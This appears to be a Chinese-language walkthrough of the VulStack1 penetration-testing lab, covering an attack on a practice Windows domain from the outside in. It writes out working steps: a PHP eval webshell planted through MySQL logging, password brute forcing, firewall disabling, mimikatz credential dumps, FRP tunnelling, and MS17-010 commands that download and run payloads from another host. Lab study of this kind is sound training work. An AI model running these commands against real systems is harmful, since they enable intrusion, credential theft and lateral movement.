红日靶机系列是完全模拟ATT&CK攻击链路来搭建的,通过练习真实的APT实战环境我们可以从中快速成长。VulStack1 是该系列的第一个靶场,主要涉及信息收集、漏洞利用、CS上线、搭建隧道以及域内渗透等知识。
0x01 靶机环境搭建
靶场中包含三台靶机,具体的网络拓扑图如下
从上图可知我们需要模拟内网和外网两个网段,因此我们需要在 VMware 中选择虚拟网络编辑器设置内网网段192.168.52.0/24
完成后为三台靶机在主机网卡中添加VMnet2
,与此同时还需要为 Web 服务器添加桥接网卡作为外网网段。
三台靶机的默认开机密码都为hongrisec@2019
,登录后提示需要修改密码信息,因此根据需要我们将其修改为Mac123456
,最终我们的靶机IP分布如下。
靶机名称 | IP地址 |
---|---|
Web服务器 | 192.168.0.112/192.168.52.143 |
域内主机 | 192.168.52.141 |
域控主机 | 192.168.52.138 |
尝试 ping 通各个主机后找到 phpstudy 开启 Web 服务模拟 Web 服务
同时我们需要保持外网、域网络防火墙为未开启状态
正常访问站点,说明环境成功搭建完成
0x02 外网边界突破
信息收集
使用 Nmap 扫描 web 服务器的端口开放情况
nmap -Pn -sV -p- -A 192.168.0.112 --min-rate=1000
80端口
访问后为 phpStudy 探针,在页面中使用弱口令 root/root 能够成功登录 MySQL 数据库
使用 dirsearch 对站点进行目录扫描
dirsearch -u http://192.168.0.112 -e *
成功发现目录phpmyadmin
并访问,页面为数据库管理工具 PHPMyAdmin
使用 dirsearch 继续扫描备份文件
dirsearch -u http://192.168.0.112 -w /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/directoryDicts/top7000.txt
成功发现备份文件beifen.rar
,解压后发现这是 xycms 的备份源码
3306端口
尝试使用 hydra 爆破 MySQL 数据库密码,但是目标不允许连接数据库
hydra -L /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-user.txt -P /usr/local/share/dicts/fuzzDicts_TheKingOfDuck/passwordDict/ServiceWeakPass/mysql弱口令/mysql-pass.txt mysql://192.168.0.112 -e nsr -vV
MySQL日志写入木马
通过弱口令root/root
可成功登录 PHPMyAdmin 的后台
执行SQL语句查看是否存在写入权限,secure_file_priv
显示为 NULL
show variables like '%secure_file%';
如果我们通过into outfile
来写入木马,那么由于secure_file_priv
的限制会导致这种方案并不可行
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/mac.php';
因此我们需要通过日志来写入木马,尝试开启日志记录
set global general_log = "ON";
查看日志记录文件
show variables like "general%";
修改日志记录文件为木马文件
set global general_log_file="C:/phpStudy/www/mac.php";
写入木马至指定日志记录文件当中
select '<?php eval($_POST["mac"]);?>'
成功通过蚁剑连接木马文件
YXCMS后台上传木马
在源码中解压后发现yxcms
目录并尝试访问,访问后发现页面为 YXCMS
由于 YXCMS 的默认后台为index.php?r=admin
,我们尝试访问该后台地址
使用 BurpSuite 截取数据包,复用验证码尝试爆破密码
成功爆破出 admin 密码为 123456,使用该账户密码成功登录后台
选择前台模版并在index_index.php
插入木马
保存成功后使用蚁剑连接木马文件
0x03 内网信息探测
CS上线云服务器
在蚁剑中执行命令发现当前用户为域管理员,那么可以省去提权过程并直接上线CS
在CS中开启 http 监听器并生成利用程序mac1.exe
上传木马后并在命令行中直接执行
成功上线CS
本机基础环境信息收集
减少回连时间为3秒并查看网络连接情况
sleep 3
shell ipconfig
如果有需要的话可以关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
成功发现目标存在两个网段,说明内网网段中可能存在其他主机
192.168.0.0/24
192.168.52.0/24
运行 mimikatz 成功获得管理员密码为Mac123456
logonpasswords
成功获取用户哈希值
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
借助梼杌插件通过 ms14-058 可直接将权限提升至 SYSTEM
成功上线 SYSTEM 系统管理员
内网域环境信息收集
内网信息收集的目的是查找域控以及其他域内主机,以下为常见的内网信息收集命令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
首先我们需要判断当前域名是什么?判断的方式有许多种,以下为常用的几种方式
shell ipconfig /all
shell net config workstation
成功探测到当前域名为god.org
,接下来需要探索目标存在多少域
shell net view /domain
结果显示目标只存在GOD
域,而WORKGROUP
只是工作组而已。然后尝试寻找域控主机名
shell net group "domain controllers" /domain
结果显示报错
RPC 服务器不可用
,这是什么原因造成的呢?
原来是目标无法完成域名解析,因此我们可以在外网网卡中设置 DNS 服务器为域控
再次寻找域控并确认域控主机名为OWA
有了域控主机名以后我们尝试寻找其他域内主机
net view
shell net group "domain computers" /domain
至此内网信息搜集完毕,域内主机的分布如下,我们需要进一步完成横向渗透
主机名 | IP地址 | 是否为域控 |
---|---|---|
OWA | 192.168.52.138 | 是 |
ROOT-TVI862UBEH | 192.168.52.141 | 否 |
STU1 | 192.168.52.143 | 否 |
0x03 内网横向渗透
建立FRP代理隧道
为了更好地模拟真实环境,我们可以通过在云服务器上搭建 FRP 隧道访问目标内网。
FRP配置
frps.ini
配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = macmacmac12345678
frpc.ini
配置:
[common]
server_addr=x.x.x.x
server_port = 7000
token = macmacmac12345678
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5
FRP连接
在云服务器上启动 FRP
./frps -c frps.ini
上传 FRP 至靶机后查看文件
在 CS 上启动连接
shell frpc.exe -c frpc.ini
在本地设置 proxychains 连接目标的6000端口建立 FRP 隧道
vim /usr/local/etc/proxychains.conf
#配置
socks5 x.x.x.x 6000
使用 nmap 扫描内网主机进行测试,连接成功说明隧道建立成功
proxychains4 nmap 192.168.52.138 -p 135,445,80
MSF永恒之蓝漏洞利用
FSCAN漏洞扫描
在 CS 中上传 fsacn 并设置扫描目标
## hosts.txt
192.168.52.138
192.168.52.141
192.168.52.143
使用 fscan 扫描目标,结果显示全部目标都存在 MS17-010 漏洞
shell fscan64.exe -hf hosts.txt
域控主机上线CS
在 CS 的会话当中设置新的监听器用于上线内网主机
需要注意的是在设置监听器时需要确认内网代理主机的IP地址,否则会导致内网主机无法连接
借用该监听器生成相应木马mac2.exe
成功将该木马上传至目标的站点目录
在本地开启 MSF 并设置代理
msfconsole
msf > setg Proxies socks5:x.x.x.x:6000
msf > setg ReverseAllowProxy true
使用 MSF 执行命令上线 CS
msf > use auxiliary/admin/smb/ms17_010_command
msf > set command "powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/mac2.exe','mac2.exe');start-process mac2.exe"
msf > set rhosts 192.168.52.138
msf > show options
msf > run
域控主机成功上线CS
域内主机上线CS
在使用 MS17-010 攻击域内主机时 CS 无法上线,这是因为该主机为 Windows Server 2003,我们无法使用 powershell 执行命令,与此同时该操作系统为 X86 架构,对应需要使用32位的木马。因此我们需要使用 CS 生成32位木马mac3.exe
同样地我们将其上传至目标的站点目录
重新设置命令使用 certutil 下载木马,但是目标返回报错信息
msf > set command "certutil.exe -urlcache -split -f http://192.168.52.143/mac3.exe mac3.exe"
msf > set rhosts 192.168.52.141
msf > show options
msf > run
那么我们换一种思路,尝试通过永恒之蓝创建管理员账户
net user mac QWEasd123 /add
net localgroup "administrators" mac /add
net user mac
尝试使用新建管理员通过IPC$
进行连接,但目标无法连接
shell net use \\192.168.52.141\ipc$ "QWEasd123" /user:mac
尝试使用域管理员进行登录,目标连接成功
shell net use \\192.168.52.141\ipc$ "Mac123456" /user:Administrator
shell net use
将木马复制到域内主机的C盘目录当中
shell cd .. && copy mac3.exe \\192.168.52.141\c$
在 MSF 中通过 MS17-010 执行木马
msf > set command "C:\\mac3.exe"
msf > show options
msf > run
域内主机成功上线CS
域管理员凭证传递利用
凭证传递利用原理
通过域管理员的凭证可以快速拿下目标域环境,在 CS 中还给我们提供了 SMB Beacon,它主要通过 SMB 协议建立连接,使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 会从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名管道进行通信,因此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。
凭证传递上线CS
在 CS 的会话中建立 SMB 监听器用于快速传递凭证
在Targets
中选择 psexec_psh 传递哈希值
选择会话并设置 SMB 监听器
域控主机成功上线CS
同样利用该方法无法上线域内主机,这主要是因为目标没有 powershell 环境,我们可以通过 psexec 方式来传递哈希
域内主机成功上线CS
0x04 靶场学习总结
这是我第二次做该靶场,第一次做的时候只采用了凭证传递的利用方式,并没有考虑 MS17-010 漏洞利用,也没有采用隧道的方式来访问内网,经过这些天的考虑后我决定重做温习一遍,一是重新整理一下思路;二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题,比如 certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP 匿名登录漏洞如何通过代理登录利用等,显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。同时非常感谢红日团队以及前辈的实践,我将继续对后续靶场进行研究学习。